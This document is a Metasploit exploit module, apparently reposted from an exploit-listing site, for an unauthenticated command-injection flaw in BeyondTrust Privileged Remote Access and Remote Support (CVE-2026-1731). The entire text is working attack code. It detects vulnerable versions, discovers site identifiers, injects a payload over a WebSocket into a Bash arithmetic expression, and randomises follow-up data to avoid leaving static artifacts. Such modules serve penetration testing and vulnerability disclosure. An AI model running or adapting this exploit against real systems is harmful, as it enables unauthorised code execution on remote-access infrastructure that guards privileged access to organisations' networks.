Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-BEYONDTRUST_PRA_RS_COMMAND_INJECTION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Beyondtrust
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http::WebSocket
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
        'Description' => %q{
          This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Harsh Jaiswal', # Discovery
          'Jonah Burgess (CryptoCat)' # Module
        ],
        'References' => [
          ['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
          ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
          ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
        ],
        'DisclosureDate' => '2026-02-06',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => false, # Executes as the site user.
        'Targets' => [
          [
            'Command Injection', {
              'Payload' => {
                'DisableNops' => true,
                # We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
                # We must avoid characters that break the subshell or the arithmetic structure.
                'BadChars' => '[$()]'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/var/tmp',
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true,
          # By default, a deployed site, like Remote Support, is expected to be located at the root path.
          'URIPATH' => '/'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
        OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
      ]
    )
  end

  def check
    version = get_version
    return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?

    version = Rex::Version.new(version)
    return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')

    CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
  end

  def exploit
    # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
    # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
    # establish a WebSocket connection to the target site application. By default, we query the target site to
    # discover this, however a user can manually set either the expected company name or FQDN as a module option.
    site_info = get_site_info

    if site_info.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
    end

    vprint_status("Company name: #{site_info[:company]}")
    vprint_status("Site FQDN: #{site_info[:server]}")

    headers = {
      # This is the vulnerable application which is reachable over a WebSocket to the target site.
      'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
    }

    if !site_info[:company].blank?
      print_status("Using company name: #{site_info[:company]}")

      headers['X-Ns-Company'] = site_info[:company]
    elsif !site_info[:server].blank?
      print_status("Using site FQDN: #{site_info[:server]}")

      headers['Host'] = site_info[:server]
    else
      fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
    end

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'nw'),
      'headers' => headers
    )

    prefix = Rex::Text.rand_text_alpha(rand(1..5))
    suffix = rand(0..5)

    wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")

    # Complete the sequence with randomized dummy data to avoid static artifacts
    wsock.put_wstext("#{SecureRandom.uuid}\n")     # remoteCookie
    wsock.put_wstext("#{rand(0..2)}\n")            # remoteAuthType (usually 0, 1, or 2)
    wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey

    while wsock.has_read_data? datastore['WFSDELAY']
      frame = wsock.get_wsframe

      break if frame.nil?

      if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
        print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
        break
      end
    end
    wsock.wsclose
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    if e.http_response && !e.http_response.body.blank?
      if e.http_response.body == 'Invalid company or app name'
        print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
      else
        print_error(e.http_response.body)
      end
    end
    fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
  end

end